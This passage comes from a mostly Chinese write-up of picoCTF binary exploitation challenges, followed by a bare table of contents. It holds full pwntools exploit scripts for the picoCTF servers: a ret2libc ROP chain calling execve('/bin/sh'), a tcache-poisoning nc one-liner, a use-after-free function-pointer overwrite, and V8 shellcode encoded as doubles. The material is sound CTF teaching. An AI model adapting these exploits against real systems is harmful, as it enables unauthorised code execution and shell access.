payload = b"a" * 16 + chain
assert b"\n" not in payload
p.sendline(payload)
p.interactive()

Stonks

用 printf 從 stack 中把 flag print 出來。

Here’s a LIBC

用 puts 把 GOT 上面的 puts 函數位置給 leak 出來，然後得到 libc base address 之後 ret2libc。

from pwn import *

context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]

# p = process("./pico_heres_libc")
p = remote("mercury.picoctf.net", 42072)

elf = ELF("./pico_heres_libc")
libc = ELF("./glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc.so.6")

pop_rdi = 0x400913
chain = flat([pop_rdi, elf.got["puts"], elf.sym["puts"], elf.sym["do_stuff"]])
assert not b"\n" in chain
p.sendline(b"a" * 136 + chain)
p.recvuntil(b"aaad\n")
puts = int.from_bytes(p.recv(6), byteorder="little")
base = puts - libc.sym["puts"]
print(hex(base))

# using one gadget
# p.sendline(b"a" * 136 + p64(base + 0x10A45C))

# manual execve(b"/bin/sh\0", 0, 0)
pop_rdx = base + 0x1B96
pop_rsi_r15 = 0x400911
binsh = base + next(libc.search(b"/bin/sh\0"))
execve = base + libc.sym["execve"]
chain2 = flat([pop_rdi, binsh, pop_rdx, 0, pop_rsi_r15, 0, 0, execve])
assert not b"\n" in chain2
p.sendline(b"a" * 136 + chain2)
p.interactive()

Cache Me Outside

這題是要利用 tcache 的機制去讓後面的 malloc 返回一個已經被 free 掉的 chunk，而那個 chunk 裡面有 flag。

題目簡化的話是先 free(a); free(b);，然後讓你改一個 byte 的記憶體，之後再 malloc 一個 chunk 之後把內容給 print 出來。其中的 chunk a 裡面有 flag，而 chunk b 的內容不重要。

tcache 再經過 free(a); free(b); 可以表示成這樣: tcache -> b -> a，當它再 malloc 時會從 linked list 裡面拿 b 出來用，所以 list 變成 tcache -> a 而 malloc 的返回值就是 b。

這題的做法就是要透過改一個 byte 的機會把 list 變成 tcache -> a，然後下次 malloc 時拿到的就是 a，那 print 出來的就是 flag 了。

至於怎麼做的話可以透過 gef 的 heap 指令去慢慢 debug，可以發現改一個 byte 就夠了:

printf "-5144\n\0\n" | nc mercury.picoctf.net 17612

Unsubscriptions Are Free

題目名稱就告訴你這個是 UAF，所以先 free 掉 user，之後 leave message 時它會 malloc 到剛剛 free 掉的 user，所以可以蓋掉 whatToDo 的地址達成呼叫 hahaexploitgobrrr 的目標。

from pwn import *

context.arch = "x86"

# p = process("./pico_free")
p = remote('mercury.picoctf.net', 61817)

p.sendline("s")
p.recvuntil(b"OOP! Memory leak...")
addr = int(p.recvline().decode().strip(), 16)
p.sendline("i")
p.sendline("y")
p.sendline("l")
p.sendlineafter(b"anyways:", p32(addr))
p.sendline("e")
print(p.recvall().decode())

Kit Engine

題目是一個改造過的 V8 引擎，然後可以讓你任意執行 JavaScript 的程式碼。可以從 patch 中看到它有多個 AssembleEngine，它會把 js 的 array 中的數字放到一個 double 陣列中，然後直接 jump 到該陣列上。

關鍵是要知道 js 的數字其實都是雙精度浮點數，然後就能利用浮點數的架構去寫 shellcode 了。從 byte 到浮點數的轉換可以利用 python 的 struct.unpack 做到，所以就能寫個 bytes 到浮點數的轉換器，之後再生成 js 去呼叫 AssembleEngine 即可。

不過因為這題它沒給你 interactive 的互動，只能吃 input 然後給 output，所以就要用 ls 然後 cat 得到 flag。

from pwn import *
import struct

context.arch = "amd64"


def sc2dbls(sc):
    for i in range(0, len(sc), 8):
        blk = sc[i : i + 8]
        if len(blk) < 8:
            blk = blk + b"\0" * (8 - len(blk))
        yield str(struct.unpack("<d", blk)[0])


def sc2js(sc):
    items = ", ".join(sc2dbls(sc))
    assert not "nan" in items
    code = f"AssembleEngine([{items}])"
    return code


def run_js_remote(code):
    p = remote("mercury.picoctf.net", 48700)
    p.sendlineafter(b"Provide size", str(len(code)))
    p.sendlineafter(b"Provide script", code)
    return p.recvall().decode()


ls = sc2js(asm(shellcraft.execve(b"/bin/ls", ["ls"])))
catflag = sc2js(asm(shellcraft.execve(b"/bin/cat", ["cat", "flag.txt"])))
print(run_js_remote(ls))
print(run_js_remote(catflag))

這題我還蠻喜歡的，用了簡單的方法告訴了我們 V8 的 exploit 的核心概念

Cryptography#

Mind your Ps and Qs#

Easy Peasy#

New Caesar#

Mini RSA#

Dachshund Attacks#

No Padding, No Problem#

It’s Not My Fault 1#

Play Nice#

Double DES#

Compress and Attack#

Scrambled: RSA#

It is my Birthday 2#

Pixelated#

New Vignere#

It’s Not My Fault 2#

Web Exploitation#

Scavenger Hunt#

Who are you?#

It is my Birthday#

Super Serial#

Most Cookies#

Web Gauntlet 2#

Web Gauntlet 3#

Some Assembly Required 1#

Some Assembly Required 2#

Some Assembly Required 3#

Some Assembly Required 4#

Binary Exploitation#

Binary Gauntlet 0#

Binary Gauntlet 1#

Binary Gauntlet 2#

Binary Gauntlet 3#

Stonks#

Here’s a LIBC#

Cache Me Outside#

Unsubscriptions Are Free#

Kit Engine#